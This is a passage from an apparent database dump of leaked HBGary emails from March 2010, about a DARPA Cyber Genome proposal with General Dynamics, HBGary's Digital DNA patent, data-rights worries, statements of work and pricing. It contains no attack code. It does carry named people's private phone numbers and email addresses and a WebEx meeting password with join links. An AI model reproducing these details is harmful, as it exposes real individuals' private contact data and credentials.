team.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWai-Lean\r\nRoos\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFoundation for Enterprise Development\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n1241 Cave Street, La Jolla CA 92037\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPhone: (858) 754-3559\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFAX: (858) 459-9218\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nwww.fed.org\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;Secure\r\nDecisions Success Report FINAL lowres.pdf&gt;&lt;Secure Decisions Success\r\nReport FINAL highres.pdf&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2449,'aaron_hbgary_com/2449.html'),(3809,'2010-03-10','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001966.M959598P3547Q3809.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <adbarr@mac.com>,\"Ted Vera (HBGary)\" <ted@hbgary.com>','FW: HBGary, Inc. Bios and Past Performance','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron&#8230; see below&#8230; (DCG=Digital\r\nCyber Genome)\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Vela, Ryan \r\nSent: Tuesday, March 09, 2010 9:35 PM\r\nTo: Starr, Christopher H.; Larson, Cindy S.\r\nSubject: RE: HBGary, Inc. Bios and Past Performance\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nChris,\r\n\r\n&nbsp;\r\n\r\nWe need the &#8220;Relevance to DCG in\r\nthese past performances completed. It doesn&#8217;t have to be long, but we must have\r\ninformation in those blocks.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nRyan Vela\r\nLead Cyber Security\r\nForensic Examiner\r\n\r\nCyber Protection\r\nand Digital Forensics\r\nGeneral Dynamics Advanced Information Systems\r\n2721 Technology Drive, Suite 300\r\nAnnapolis Junction, MD 20701\r\nOffice: 240-456-5841\r\n\r\nMobile:\r\n832-429-4919\r\n\r\nThis email message is for\r\nthe sole use of the intended recipient(s) and may contain confidential and\r\nprivileged information. Any unauthorized review, use, disclosure, or\r\ndistribution is prohibited. If you are not an intended recipient, please\r\ncontact the sender by reply email and destroy all copies of the original\r\nmessage.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Starr, Christopher\r\nH. \r\nSent: Tuesday, March 09, 2010 7:01 AM\r\nTo: Larson, Cindy S.\r\nCc: Vela, Ryan\r\nSubject: FW: HBGary, Inc. Bios and Past Performance\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Tuesday, March 09, 2010 2:13 AM\r\nTo: Starr, Christopher H.\r\nSubject: HBGary, Inc. Bios and Past Performance\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nChris,\r\n\r\n&nbsp;\r\n\r\nAttached are HBGary bios and past performance.&nbsp; The\r\nbios for HBGary Federal will be a separate doc.\r\n\r\n&nbsp;\r\n\r\nDid you want to have HBGary, Inc. and HBGary Federal, LLC be\r\n2 separate subs to GD?&nbsp; Or do you see only one of these companies being\r\nyour sub, then one of our companies subs to the other one?\r\n\r\n&nbsp;\r\n\r\nI owe you some IP language and assertion of data\r\nrights.&nbsp; After lots of thought it looks like we will talk about Digital\r\nDNA as excellent past performance and expertise, but we aren&#8217;t necessarily\r\ngoing to offer up DDNA as a foundational technology.&nbsp; Instead of\r\narrogantly saying that DDNA is the solution to describe and analyze malware, we\r\nare taking the stance that we will do research to find the best way.&nbsp; In\r\nthe event we determine that the DDNA framework is the best, this means we would\r\nneed to deliver to the gov&#8217;t trait info within the DDNA framework, which HBGary\r\npatent-pending IP.&nbsp; In this case we would likely deliver DDNA with\r\nSpecially Negotiated Rights that satisfies what DARPA needs for its\r\nmission.&nbsp; I am going to get our attorney to write this up.&nbsp; I am also\r\nworking on a section that describes our patent applications.\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp;\r\nHBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16095,'aaron_hbgary_com/16095.html'),(3810,'2010-03-10','ted@hbgary.com','/aaron@hbgary.com/new/1297001967.M210030P3547Q3810.eml','aaron@hbgary.com','Tech Area 3 Master WBS','\r\n\r\nI\'ve shared Tech Area 3 Master WBS\r\nMessage from ted@hbgary.com:\r\n\r\nClick to open:\r\nTech Area 3 Master WBS\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',2274,'aaron_hbgary_com/2274.html'),(3811,'2010-03-10','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001967.M453167P3547Q3811.eml','\"Aaron Barr\" <aaron@hbgary.com>','I wanted you to review this befoe I send to GD','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nThis is DDNA Sequence.&nbsp; I will do Fuzzy Hash\r\nnext.&nbsp; \r\n\r\n&nbsp;\r\n\r\nHBGary\r\nPatent Info\r\n\r\n&nbsp;\r\n\r\nFrom the BAA, &#8220;If\r\na patent application has been filed for an invention that your proposal\r\nutilizes, but the application has not yet been made publicly available and\r\ncontains proprietary information, you may provide only the patent number,\r\ninventor name(s), assignee names (if any), filing date, filing date of any\r\nrelated provisional application, and a summary of the patent title, together\r\nwith either: 1) a representation that you own the invention, or 2) proof of\r\npossession of appropriate licensing rights in the invention.&#8221;\r\n\r\n&nbsp;\r\n\r\nDigital\r\nDNA Sequence\r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPatent\r\napplication number: 12/386,970\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nInventor\r\nname(s): Michael Gregory Hoglund\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAssignee\r\nnames: HBGary, Inc.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFiling\r\ndate:&nbsp; April 24, 2009\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFiling\r\ndate of any related provisional application: not applicable\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSummary\r\nof the patent title:&nbsp; Digital DNA Sequence\r\n\r\n&nbsp;\r\n\r\nHBGary, Inc. represents that it owns the invention.\r\n\r\n&nbsp;\r\n\r\nHigh Level Description\r\n\r\nDisclaimer:&nbsp; This is\r\njust a sampling of the contents of the patent application and does not\r\nrepresent all claims made therein.\r\n\r\nThe digital DNA sequencing engine\r\nwill evaluate any data object that is received by any device, via the network\r\nor represented in physical memory. The engine will evaluate the data object\r\nbased upon rules that may be stored in a database or stored in the device\r\nitself or in other suitable storage devices.&nbsp; Based on the evaluation of\r\nthe data object, the DDNA sequencing engine will then generate a digital DNA sequence\r\nwhich permits the data object to be classified into an object type.&nbsp; The\r\nengine provides a method of classifying a data object and provides a means for\r\nscanning the data object, means for evaluating contents of data objects based\r\non at least one selected rule, and means for generating a digital DNA sequence\r\nthat classifies at least some contents in the data object.\r\n\r\nThe set of rules can be called as a\r\n&#8220;genome&#8221; of rules.&nbsp; The rules can compare the reference data\r\nsuch as, for example, a string or substring, byte pattern, code, name of a\r\nprocess that will contain data to be matched, and/or the like, with respect to\r\ncontent or disassembled code in the data object field. A trait has a rule,\r\nweight, trait-code, and description.&nbsp; A DDNA sequence\r\nis formed by at least one expressed trait with reference to a particular\r\ndata object that has been evaluated by the DDNA engine.&nbsp; Typically, a DDNA\r\nsequence is formed by a set of expressed traits with reference to a particular\r\ndata object that has been evaluated by the DDNA engine.&nbsp; In other words, a\r\ndata object is represented by a DDNA sequence which is, in turn, formed by a\r\nset of traits that have been expressed against that data object.&nbsp; When a\r\nrule fires, then that means that the trait code (or trait) for that rule has\r\nbeen expressed. .&nbsp; In an embodiment of the invention, the traits can be\r\nconcatenated together as a single digital file (or string) that the user can\r\neasily access.\r\n\r\nWeight values are confidence values\r\nthat indicate if a data object should belong or should not belong to a\r\nset/class/type/category of data objects, as an option in the invention.&nbsp;\r\nThe weight values for the rules are adjustable and configurable by the user of\r\nengine and are set based upon the class of data objects to be detected.&nbsp;\r\nAs noted above regarding these rules, each trait will have a rule and can have\r\na weight.&nbsp; Therefore, a rule can be associated with a weight.&nbsp; \r\n\r\nAdditionally, a &#8220;discrete\r\nweight decay&#8221; algorithm as another option in the invention may be used,\r\nwhere a repeating weight will have less effect as the firing of a rule with\r\nsuch weight occurs repeatedly.&nbsp; Specifically, this algorithm permits: (1)\r\nthe weight value of a rule (or rule trait) to affect the summed weight value,\r\n(2) as additional values are received for a given weight value for a rule, the\r\nless effect that those additional values will have on the summed weight\r\nvalue.&nbsp; Therefore, the discrete weight decay algorithm permits weight\r\nsettings and weight decay to be set on particular rules, so that selected rules\r\nthat fire multiple times would have less effect or minimal or no effect on the\r\nfinal or resultant sequence weight of the DDNA sequence. \r\n\r\nThe traits of a digital object are\r\nrepresented as a fuzzy hash sequence of bytes (e.g., hexadecimal bytes).&nbsp;\r\nA fuzzy hash is a special form of hash that can be calculated against varied\r\ndata streams and can then be used to determine the percentage of match between\r\nthose data streams.&nbsp; \r\n\r\nThere is considerable content in\r\nthe patent application that defines how certain rule matches and traits are\r\nidentified.\r\n\r\nAn embodiment of the invention\r\ncould also be applied to an Enterprise system and can be used to monitor many\r\nnodes in the Enterprise system.&nbsp; An embodiment of the invention with the\r\nDDNA system can also be integrated with a commercial enterprise endpoint\r\nprotection tool (e.g., McAfee E-Policy Orchestrator).&nbsp; In this\r\nconfiguration, it can be seen that DDNA can be applied across an Enterprise for\r\npurposes of endpoint protection.&nbsp; \r\n\r\nIn summary, an embodiment of the\r\ninvention provides a system or method for classifying a data object, which may\r\ninvolve: scanning the data object, evaluating contents of data objects base on\r\nat least one selected rule; and generating a digital DNA sequence that\r\nclassifies at least some contents in the data object.\r\n\r\n&nbsp;\r\n\r\nChris &#8211; As you can see\r\nbrief high level overview, this patent spells out an elegant methodology for\r\nclassifying, describing and communicating about digital objects.&nbsp; I would\r\nthink that Van Putte intended for a significant percentage of the cyber genome\r\nproject to lay out some kind of communication methodology.&nbsp; My fear is he\r\ncould read the above and conclude he doesn&#8217;t need to spend money on that because\r\nit is already done.&nbsp; HBGary&#8217;s perspective is that some foundational\r\nwork has been done, but we are only in the infancy of classifying or analyzing\r\nmalware.&nbsp; HBGary&#8217;s current malware analysis tools are excellent at\r\nuncovering lots of low level data (more work to do there too) and displaying\r\nthat data for a user to view it, but we haven&#8217;t started the work for\r\nautomatically analyzing the low level data.&nbsp; We want to make sure that if\r\nwe deliver traits to DARPA in the DDNA format that we are not giving them\r\nunlimited rights to any commercial product or what we have patented.&nbsp; \r\n\r\nWe are hoping that GD&#8217;s IP\r\nattorney will draft language to assert data rights for HBGary&#8217;s commercial\r\nproducts and patents that DARPA will accept without downgrading our proposal.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7312,'aaron_hbgary_com/7312.html'),(3812,'2010-03-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001967.M959986P3547Q3812.eml','\"Ted Vera\" <ted@hbgary.com>','SOWs','',11159,'aaron_hbgary_com/11159.html'),(3813,'2010-03-10','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001968.M386791P3547Q3813.eml','\"Aaron Barr\" <aaron@hbgary.com>','Disregard the previous email about DDNA Sequencing','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nThe previous email had some incorrect info in the\r\ndescription about DDNA, so please disregard it.&nbsp; I will send you corrected\r\ninfo.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8683,'aaron_hbgary_com/8683.html'),(3814,'2010-03-10','\"Ted Vera\" <messenger@webex.com>','/aaron@hbgary.com/new/1297001968.M627280P3547Q3814.eml','aaron@hbgary.com','Please join now, meeting in progress: darpa','Hello Aaron Barr,   Please join my meeting that is currently in progress.   Topic: darpa  Date: Tuesday, March 9, 2010  Time: 11:56 pm, Eastern Standard Time (New York, GMT-05:00)  Meeting Number: 577 694 930  Meeting Password: genome    -------------------------------------------------------  To join the online meeting (Now from iPhones too!)  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/e.php?AT=MI&EventID=142708982&UID=1128271362&PW=NZDZkYmUzYWQx&RT=MiMxMQ%3D%3D  2. Enter your name and email address.  3. Enter the meeting password: genome  4. Click \"Join Now\".  5. Follow the instructions that appear on your screen.   To view in other time zones or languages, please click the link:  https://hbgary.webex.com/hbgary/e.php?AT=MI&EventID=142708982&UID=1128271362&PW=NZDZkYmUzYWQx&ORT=MiMxMQ%3D%3D   -------------------------------------------------------  To join the audio conference only  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=142708982&tollFree=0   Access code:577 694 930   -------------------------------------------------------  For assistance  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/mc  2. On the left navigation bar, click \"Support\".   You can contact me at:   ted@hbgary.com    Sign up for a free trial of WebEx  http://www.webex.com/go/mcemfreetrial   http://www.webex.com     IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. By joining this session, you automatically consent to such recordings. If you do not consent to the recording, do not join the session.  ',9609,'aaron_hbgary_com/9609.html'),(3815,'2010-03-10','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001968.M850526P3547Q3815.eml','\"Aaron Barr\" <aaron@hbgary.com>','HBGary Patent Info','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nDisregard the previous email on this subject&#8230;&#8230;&#8230;\r\nIt had an error.\r\n\r\n&nbsp;\r\n\r\nThe attached doc has overview info on both patents.&nbsp;\r\nThis doc certainly has more info than we want to give to DARPA in the proposal.&nbsp;\r\nDoes this doc have too much info for GD?&nbsp; If yes, will you help pare\r\nit down?&nbsp; We definitely need to pare it down for DARPA&#8217;s\r\nconsumption.\r\n\r\n&nbsp;\r\n\r\nAnd here is what I might write to Chris at GD&#8230;&#8230;&#8230;..\r\n\r\n&nbsp;\r\n\r\nAs you can see brief high level\r\noverview, these patents spell out elegant methodologies for classifying,\r\ndescribing and communicating about digital objects.&nbsp; Van Putte intended\r\nfor a significant percentage of the cyber genome project to lay out some kind\r\nof classification and communication methodology.&nbsp; My fear is he could read\r\nabout the patents and conclude he doesn&#8217;t need to spend money on that\r\nbecause it is already done.&nbsp; \r\n\r\nHBGary&#8217;s perspective is\r\nthat some foundational work has been done, but we are only in the infancy of\r\nclassifying or analyzing malware.&nbsp; HBGary&#8217;s current malware analysis\r\ntools are excellent at uncovering lots of low level data (more work to do there\r\ntoo) and displaying that data for a user to view it, but we haven&#8217;t\r\nstarted the work for automatically analyzing the low level data.&nbsp; And we\r\nhave done zero work in cross correlating multiple malware samples with each\r\nother.\r\n\r\nWe want to make sure that if we\r\ndeliver traits to DARPA in the DDNA and Fuzzy Hash formats that we are not\r\ngiving them unlimited rights to any commercial product or what we have\r\npatented.&nbsp; \r\n\r\nWe are hoping that GD&#8217;s IP\r\nattorney will draft language to assert data rights for HBGary&#8217;s\r\ncommercial products and patents that DARPA will accept without downgrading our\r\nproposal. Ultimately at some in point in time HBGary will be sold to a larger\r\ncompany.&nbsp; We cannot give a future suitor a reason to devalue our IP due to\r\nfoolishly giving unlimited rights to any part of it.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp;\r\nHBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9062,'aaron_hbgary_com/9062.html'),(3816,'2010-03-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001971.M806773P3547Q3816.eml','\"Aaron Barr\" <aaron@hbgary.com>','updated chart','attached\r\n',4700,'aaron_hbgary_com/4700.html'),(3817,'2010-03-10','\"Dawn Song\" <dawnsong@cs.berkeley.edu>','/aaron@hbgary.com/new/1297001972.M139533P3547Q3817.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','TA3','Hi Aaron,\r\n  sorry that it took Berkeley a while to get the NDA done. The\r\nBerkeley side just signed an NDA with GD, and a similar one could be\r\ndone now for HB Gary. I know the timeline is very tight. If you still\r\nlike to Berkeley on the team for TA3, Berkeley would be interested and\r\nsimilar tasks for GD for TA1 could be applied in TA3 with HB Gary. And\r\nif you think the timeline is too tight for incorporating Berkeley\'s\r\neffort at this point, I understand and hope we\'ll be able to work\r\ntogether next time. Thanks!\r\n\r\n-- \r\n\r\nthanks,\r\nDawn\r\n',12007,'aaron_hbgary_com/12007.html'),(3818,'2010-03-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001974.M764276P3547Q3818.eml','\"Aaron Barr\" <aaron@hbgary.com>','Pricing Lead Sheets','Please review attached and distribute with updated SOWs.\r\n\r\ntv\r\n',3354,'aaron_hbgary_com/3354.html'),(3819,'2010-03-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001979.M931241P3547Q3819.eml','\"Aaron Barr\" <aaron@hbgary.com>','Updated Pricing Sheets','attached\r\n',4384,'aaron_hbgary_com/4384.html'),(3820,'2010-03-10','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001980.M348220P3547Q3820.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Proposed change for TA #1 work','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nWhen I mentioned that HBGary should research building a\r\nsystem to analyze a large volume of malware you said that was not part of TA #3\r\nbecause it isn&#8217;t what DARPA wants there.&nbsp; But clearly, TA #1 is the\r\ncross correlation across many malware samples.&nbsp; That correlation cannot\r\nhappen unless the large amounts of malware are analyzed to gather the low level\r\ninfo per malware sample.\r\n\r\n&nbsp;\r\n\r\nI suggest that we add into HBGary&#8217;s TA #1 SOW a\r\nscalable engine to grind through lots of malware.&nbsp; This is something that\r\nHBGary wants to develop anyhow, so it would be great to get funding for\r\nit.&nbsp; Several gov&#8217;t agencies have asked for this kind of capability.\r\n\r\n&nbsp;\r\n\r\nPerhaps we could REMOVE from TA #1 the task that is\r\nAFR-like, since as Martin said it is farfetched and will likely fail and have\r\nno value.\r\n\r\n&nbsp;\r\n\r\nAnother useful research topic would be how users could\r\ncreate their own behavioral traits without being technical people.&nbsp; I\r\nthink this would fall under TA #1.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14608,'aaron_hbgary_com/14608.html'),(3821,'2010-03-10','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001986.M133364P3547Q3821.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Bayesian Reasoning Content','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nToday, HBGary&#8217;s products do a great job of uncovering\r\nvast stores of data within RAM and individual binaries.&nbsp; And we do a\r\npretty good job of organizing the data so a skilled user can look through or\r\nmanipulate the data.&nbsp; We clearly need an automated way to analyze the\r\ndata.\r\n\r\n&nbsp;\r\n\r\nAttached are 2 proposals we submitted to DHS (both SBIRs,\r\nphase I and phase II).&nbsp; We had SAIC as subcontractor &#8211; they wrote\r\nbig section in both proposals on Bayesian Reasoning Networks to automatically reason\r\nover data like a subject matter expert would, but scale.&nbsp; We wrote the\r\nproposals from the perspective of looking at lots of data across many computers\r\nand the network activity.&nbsp; I would argue that if we were to study Bayesian\r\nReasoning we should apply it the huge universe of data that exists on a single\r\ncomputer.&nbsp; The huge amt of data in memory and binaries is a big enough\r\nproblem set to apply the automated reasoning.\r\n\r\n&nbsp;\r\n\r\nIf you want some meat in the proposal about reasoning, then\r\nyou may want to look at what was written previously.&nbsp; Especially because\r\nHBGary can get &#8220;credit&#8221; for having done this work in the past.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15883,'aaron_hbgary_com/15883.html'),(3822,'2010-03-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001987.M367613P3547Q3822.eml','\"Ted Vera\" <ted@hbgary.com>','SOWs','',8983,'aaron_hbgary_com/8983.html'),(3823,'2010-03-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001987.M590882P3547Q3823.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Proposed change for TA #1 work','dude working late...On Mar 10, 2010, at 1:54 AM, Bob Slapnik wrote:Aaron,&nbsp;When I mentioned that HBGary should research building a system to analyze a large volume of malware you said that was not part of TA #3 because it isn’t what DARPA wants there.&nbsp; But clearly, TA #1 is the cross correlation across many malware samples.&nbsp; That correlation cannot happen unless the large amounts of malware are analyzed to gather the low level info per malware sample.&nbsp;I suggest that we add into HBGary’s TA #1 SOW a scalable engine to grind through lots of malware.&nbsp; This is something that HBGary wants to develop anyhow, so it would be great to get funding for it.&nbsp; Several gov’t agencies have asked for this kind of capability.&nbsp;Perhaps we could REMOVE from TA #1 the task that is AFR-like, since as Martin said it is farfetched and will likely fail and have no value.&nbsp;Another useful research topic would be how users could create their own behavioral traits without being technical people.&nbsp; I think this would fall under TA #1.&nbsp;Bob&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2837,'aaron_hbgary_com/2837.html'),(3824,'2010-03-10','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001987.M964771P3547Q3824.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Proposed change for TA #1 work','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI was in bed since midnight.&nbsp; Laying there.&nbsp; Couldn&#8217;t sleep.&nbsp; Had\r\nthese thoughts so I got up to send the email.\r\n\r\n&nbsp;\r\n\r\nHey, did you read the email about the patents and the word\r\nattachment?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, March 10, 2010 2:00 AM\r\nTo: Bob Slapnik\r\nSubject: Re: Proposed change for TA #1 work\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\ndude working late...\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 10, 2010, at 1:54 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhen\r\nI mentioned that HBGary should research building a system to analyze a large\r\nvolume of malware you said that was not part of TA #3 because it isn&#8217;t what\r\nDARPA wants there.&nbsp; But clearly, TA #1 is the cross correlation across\r\nmany malware samples.&nbsp; That correlation cannot happen unless the large\r\namounts of malware are analyzed to gather the low level info per malware sample.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\nsuggest that we add into HBGary&#8217;s TA #1 SOW a scalable engine to grind through\r\nlots of malware.&nbsp; This is something that HBGary wants to develop anyhow,\r\nso it would be great to get funding for it.&nbsp; Several gov&#8217;t agencies have\r\nasked for this kind of capability.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPerhaps\r\nwe could REMOVE from TA #1 the task that is AFR-like, since as Martin said it\r\nis farfetched and will likely fail and have no value.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAnother\r\nuseful research topic would be how users could create their own behavioral\r\ntraits without being technical people.&nbsp; I think this would fall under TA\r\n#1.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2733 - Release Date: 03/09/10\r\n14:33:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2247,'aaron_hbgary_com/2247.html'),(3825,'2010-03-10','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001988.M168306P3547Q3825.eml','\"Aaron Barr\" <aaron@hbgary.com>','Back to bed for me','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMaybe I&#8217;ll fall asleep.&nbsp;&nbsp; I think the tea I drank\r\naround 10pm had caffine.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1649,'aaron_hbgary_com/1649.html'),(3826,'2010-03-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001988.M753865P3547Q3826.eml','\"Ted Vera\" <ted@hbgary.com>','SOW for HBGary','\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1469,'aaron_hbgary_com/1469.html'),(3827,'2010-03-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001989.M207075P3547Q3828.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Did you want to have Aaron Barr speak at REBL?','Hmmm... By when does he need to see slides?  When is the conference?\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Mar 10, 2010, at 7:12 AM, Bob Slapnik  wrote:\r\n\r\n> Aaron,\r\n>\r\n> See below about Blue Team REBL.\r\n>\r\n> Bob\r\n>\r\n>\r\n> -----Original 